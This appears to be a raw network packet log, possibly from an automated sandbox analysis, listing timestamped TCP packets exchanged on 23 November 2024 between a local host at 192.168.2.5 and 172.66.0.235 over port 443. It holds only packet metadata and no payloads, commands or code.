Nov 23, 2024 13:37:59.719141960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.719162941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.719192982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.719198942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.719222069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.719235897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.826225042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.896804094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.896873951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.896924973 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.896971941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.897005081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.897025108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.897977114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.898025990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.898052931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.898065090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.898091078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.898108006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.900187016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.900228977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.900254965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.900268078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.900293112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.900311947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.902653933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.902700901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.902723074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.902734995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.902765036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.902784109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.904397011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.904448032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.904475927 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.904488087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.904515028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.904534101 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.906821012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.906872988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.906944036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.906944036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.906960011 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.907008886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.909281015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.909322977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.909353971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.909365892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.909415960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.909415960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.911475897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.911528111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.911550045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.911561966 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:59.911614895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.911614895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:59.913254976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.088682890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.088746071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.089869976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.089953899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.090008974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.090298891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.090348005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.090373993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.090388060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.090416908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.090435028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.092122078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.092166901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.092195034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.092206001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.092258930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.092377901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.094527960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.094571114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.094604015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.094614983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.094641924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.094676971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.096617937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.096884012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.096927881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.096973896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.096987009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.097014904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.097033024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.098716021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.098762989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.098786116 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.098798037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.098824024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.098840952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.101119995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.101169109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.101191998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.101224899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.101252079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.101270914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.103190899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.103235960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.103259087 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.103271008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.103296041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.103326082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.112700939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.280493021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.280529022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.280577898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.280633926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.280673981 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.280693054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.282125950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.282149076 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.282221079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.282236099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.282272100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.282290936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.283871889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.283891916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.283940077 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.283951998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.283993959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.284013033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.286312103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.286334991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.286386967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.286397934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.286437988 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.286458015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.288772106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.288796902 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.288836956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.288849115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.288878918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.288894892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.290575981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.290596008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.290642977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.290647984 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.290688038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.292937040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.292957067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.293015003 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.293021917 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.293075085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.294075966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.295099974 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.295120955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.295180082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.295186043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.295226097 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.368832111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.472645998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.472706079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.472834110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.472834110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.472881079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.472945929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.473978043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.474020958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.474059105 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.474072933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.474117041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.474117041 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.476372957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.476429939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.476459026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.476471901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.476500034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.476520061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.478174925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.478218079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.478261948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.478275061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.478302002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.478323936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.480750084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.480793953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.480825901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.480859041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.480874062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.480917931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.483051062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.483115911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.483134985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.483146906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.483180046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.483200073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.483330011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.485117912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.485161066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.485198021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.485208988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.485236883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.485256910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.486820936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.486862898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.486912966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.486923933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.486949921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.486970901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.488514900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.664618969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.664673090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.664710045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.664752960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.664779902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.664800882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.666124105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.666182995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.666189909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.666208982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.666241884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.666260958 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.668473959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.668519020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.668546915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.668553114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.668586016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.668602943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.670761108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.670782089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.670816898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.670823097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.670846939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.670862913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.672543049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.672561884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.672593117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.672599077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.672625065 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.672641993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.674926043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.674946070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.674972057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.674978018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.675009966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.675025940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.677428007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.677449942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.677486897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.677493095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.677526951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.679498911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.679521084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.679563046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.679568052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.679584026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.679603100 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.846328020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.857220888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.857285976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.857307911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.857328892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.857368946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.857368946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.858331919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.858376980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.858397961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.858409882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.858437061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.858454943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.860745907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.860790968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.860814095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.860825062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.860861063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.860881090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.863255978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.863298893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.863336086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.863353014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.863377094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.863396883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.864978075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.865021944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.865041971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.865053892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.865098000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.865117073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.867333889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.867379904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.867400885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.867413044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.867441893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.867461920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.869612932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.869683027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.869690895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.869709969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.869756937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.869776964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.871943951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.871987104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.872006893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.872019053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:00.872060061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.872060061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:00.965142965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.049420118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.049490929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.049531937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.049606085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.049642086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.049691916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.050776958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.050825119 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.050841093 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.050856113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.050885916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.050905943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.053159952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.053204060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.053230047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.053242922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.053276062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.053297043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.054872990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.054925919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.054955006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.054966927 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.054995060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.055013895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.057362080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.057411909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.057449102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.057461023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.057491064 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.057509899 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.059777021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.059818029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.059844971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.059858084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.059885025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.059905052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.061933994 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.061975956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.062020063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:01.062031031 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:01.062061071 CET	49704	443	192.168.2.5	172.66.0.235
